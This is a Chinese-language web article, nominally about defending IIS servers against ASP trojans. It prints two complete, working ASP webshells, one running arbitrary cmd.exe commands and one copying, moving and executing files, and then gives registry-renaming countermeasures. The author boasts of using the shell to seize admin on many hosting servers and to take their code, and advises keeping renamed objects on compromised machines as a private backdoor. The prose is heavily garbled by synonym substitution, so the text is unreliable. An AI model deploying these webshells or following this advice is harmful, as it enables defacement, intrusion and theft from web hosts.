当前位置：首页 -> 网络安全 -> 防范措施 -> 防范ASP木马

防范ASP木马

时间： 2021-07-31 作者：daque

防范ASP木马跟着asp 本领的兴盛，搜集上鉴于asp本领开拓的网站越来越多，对asp本领的扶助不妨说仍旧是windows体例iis效劳器的一项基础功效。然而鉴于asp本领的跷跷板方便之门，也越来越多，并且功效也越来越宏大。因为asp它自己是效劳器供给的一贡效劳功效，以是这种asp剧本的跷跷板方便之门，不会被杀毒软硬件查杀。被黑客们称为“长久不会被查杀的方便之门”。因为其莫大的湮没性和难查杀性，对网站的安定形成了重要的恫吓。所以对准asp跷跷板的提防和废除，为咱们的网管职员提出了更高的本领诉求。底下我贯串部分的体味，谈一下对两款比拟典范的asp 跷跷板的提防本领，蓄意对大师不妨有所扶助。以次是第一款跷跷板的代码：<title>asp shell</title> <%@ language=vbscript %><%dim oscriptdim oscriptnetdim ofilesys, ofiledim szcmd, sztempfileon error resume next' -- create the com objects that we will be using -- 'set oscript = server.createobject("wscript.shell")set oscriptnet = server.createobject("wscript.network")set ofilesys = server.createobject("scripting.filesystemobject")' -- check for a command that we have posted -- 'szcmd = request.form(".cmd")if (szcmd <> "") then' -- use a poor man's pipe ... a temp file -- 'sztempfile = "c:\" & ofilesys.gettempname( )call oscript.run ("cmd.exe /c " & szcmd & " > " & sztempfile, 0, true)set ofile = ofilesys.opentextfile (sztempfile, 1, false, 0)end if%><html><body><form action="<%= request.servervariables("url") %>" method="post"><input type=text name=".cmd" size=45 value="<%= szcmd %>"><input type=submit value="实行吩咐"></form><pre><%if (isobject(ofile)) then' -- read the output from our command and remove the temp file -- 'on error resume nextresponse.write server.htmlencode(ofile.readall)ofile.closecall ofilesys.deletefile(sztempfile, true)end if%></body></html>运转后如次图：在吩咐行里输出dir吩咐点实行就不妨察看目次了！！它不妨运用百般dos吩咐，如：copy、net、netstat等。然而它的默许实行权力惟有guest，也即是iusr_computer用户的实行权力。固然即使你把iusr_computer用户介入处置员组，那么你就有处置员权力了。这一款跷跷板的特性是，运用很简单。简直就想当于dos吩咐行窗口操纵一律。然而即使效劳器控制了fso（无组件上传），那么它是没有方法运用了。再有即是在效劳器此后减少的假造长机里也没有方法运用。只能在“默许 web 站点”里运用，以是它对立的实用范畴较窄。对于提防本领让咱们看一下它的代码就领会了：set oscript = server.createobject("wscript.shell") ＂创造了一个名为oscript的wscript.shell东西，用来吩咐的实行＂set oscriptnet = server.createobject("wscript.network")set ofilesys = server.createobject("scripting.filesystemobject")上头三行代码创造了wscript.shell、wscript.network、scripting.filesystemobject三个东西，咱们只有在备案表中把遏制wscript.shell东西的项更名或简略就不妨了。如次图：犯得着提防的是：咱们该当把“wscript.shell”项和“wscript.shell.1”这两项都要更名或简略。由于如咱们只窜改“wscript.shell”项的话。那么黑客们只有把代码窜改如次：set oscript = server.createobject("wscript.shell.1") 这个方便之门跷跷板就又不妨实行了。大师大概仍旧想到了，咱们在对“wscript.shell”项和“wscript.shell.1”更名时，确定要不简单被黑客们猜到，由于比方：你把“wscript.shell”改成了“wscript.shell888”。黑客们只有把代码相映的改成：set oscript = server.createobject("wscript.shell888")，跷跷板步调就又不妨实行了。再有就窜改了备案表此后要重起web效劳，树立才会灵验。接下来让咱们再来看下一款asp方便之门跷跷板步调的代码：<%response.write "<font size=6 color=red>一次只能实行一个操纵</font>" %> <%response.write now()%><br>步调地方的物理路途： <%response.write request.servervariables("appl_physical_path")%> <html> <title>asp's shell.application backdoor </title> <body> <form action="<%= request.servervariables("url") %>" method="post"> <input type=text name=text value="<%=szcmd %>"> 输出要欣赏的目次 <input type=text name=text1 value="<%=szcmd1 %>"> copy <input type=text name=text2 value="<%=szcmd2 %>"> <input type=text name=text3 value="<%=szcmd3 %>"> move <input type=text name=text4 value="<%=szcmd4 %>"> 路途：<input type=text name=text5 value="<%=szcmd5 %>"> 步调：<input type=text name=text6 value="<%=szcmd6 %>"> <input type=submit name=sb value=发送吩咐> </form> </body> </html> <% szcmd = request.form("text") '目次欣赏 if (szcmd <> "") then set shell=server.createobject("shell.application") '创造shell东西 set fod1=shell.namespace(szcmd) set foditems=fod1.items for each co in foditems response.write "<font color=red>" & co.path & "-----" & co.size & "</font>" next end if %> <% szcmd1 = request.form("text1") '目次正片，不许举行文献正片 szcmd2 = request.form("text2") if szcmd1<>"" and szcmd2<>"" then set shell1=server.createobject("shell.application") '创造shell东西 set fod1=shell1.namespace(szcmd2) for i=len(szcmd1) to 1 step -1 if mid(szcmd1,i,1)="\" then path=left(szcmd1,i-1) exit for end if next if len(path)=2 then path=path & "\" path2=right(szcmd1,len(szcmd1)-i) set fod2=shell1.namespace(path) set foditem=fod2.parsename(path2) fod1.copyhere foditem response.write "command completed success!" end if %> <% szcmd3 = request.form("text3") '目次挪动 szcmd4 = request.form("text4") if szcmd3<>"" and szcmd4<>"" then set shell2=server.createobject("shell.application") '创造shell东西 set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1 if mid(szcmd3,i,1)="\" then path=left(szcmd3,i-1) exit for end if next if len(path)=2 then path=path & "\" path2=right(szcmd3,len(szcmd3)-i) set fod2=shell2.namespace(path) set foditem=fod2.parsename(path2) fod1.movehere foditem response.write "command completed success!" end if %> <% szcmd5 = request.form("text5") '执路途序要指定路途 szcmd6 = request.form("text6") if szcmd5<>"" and szcmd6<>"" then set shell3=server.createobject("shell.application") '创造shell东西 shell3.namespace(szcmd5).items.item(szcmd6).invokeverb response.write "command completed success!" end if %>实行后如次图：要察看目次，只有输出相映的目次，点发送吩咐就不妨了。如次图：这个跷跷板程不妨实行文献的copy、move，和执路途序。但很多吩咐都不许用，比方：del、net、netstat等。这个跷跷板程的功效随然大略，然而用它来黑一个网站是充满了。比方，咱们不妨把网站的首页move到其它场合，而后咱们再copy一个同名的黑客网页进去，就行了。最要命的是这个跷跷板实用于任何假造长机之中，也即是说我只假如效劳器中的一个假造空间的用户，我就不妨传这个木赶快去，并用它来窜改其它任何用户的网页。以是即使哪些供给假造空间的效劳商没有打补丁的话，那真是死定了。但是在我的试验中创造，华夏很多的假造空间效劳商，更加是少许袖珍的效劳商都没有打补丁。我运用这一缺点拿到了很多假造空间效劳器的admin，而后好意的帮她们补上缺点。固然我也获得了我想获得的货色——很多好的软硬件和代码。我此刻用着的很多asp步调即是从她们那上头偷下来，太逆耳了，该当说down下来的才对。言归正传，咱们该当还好吗来提防这个asp方便之门跷跷板步调呢？让咱们看一下它个中的这一句代码：set shell=server.createobject("shell.application")，跟方才的本领一律，如次图：咱们只有把"shell.application"项和"shell.application.1"项更名或简略就不妨了。记取了，即使是更名，要改得搀杂一点，不要让黑客们一下就猜到了。特地说一句，即使是你给肉鸡打补丁最佳是更名，并把名字记下来，如许也就变成本人一个隐密的方便之门了。结果对这两款asp跷跷板方便之门，以及怎样防范ASP木马方便之门做一下归纳：第一款跷跷板功效上宏大少许，但实用范畴窄，须要fso扶助也即是"scripting.filesystemobject"项的扶助。第二款跷跷板固然功效上少少许，但它创造的是"shell.application"东西。在任何假造长机中都实用。（这一点妨害真实太大了，供给扶助asp空间的处置员们，尔等可得提防了！）本来跟据对上头两款asp跷跷板方便之门的提防，大师大概仍旧想到了，对于asp方便之门跷跷板的提防，咱们只有在备案表中把"shell.application"、"wscript.shell"等伤害的剧本东西（由于它们都是用来创造剧本吩咐通道的）举行更名或简略，也即是控制体例对“剧本shell”的创造，asp跷跷板也就变成无本之木、无米之炊，运转不起来了。注：之上代码复制生存为asp文献就不妨径直运用了。（仅用来尝试，不要搞妨害，成果自夸！）

防范ASP木马

相关推荐

推荐下载

热门阅览

最新排行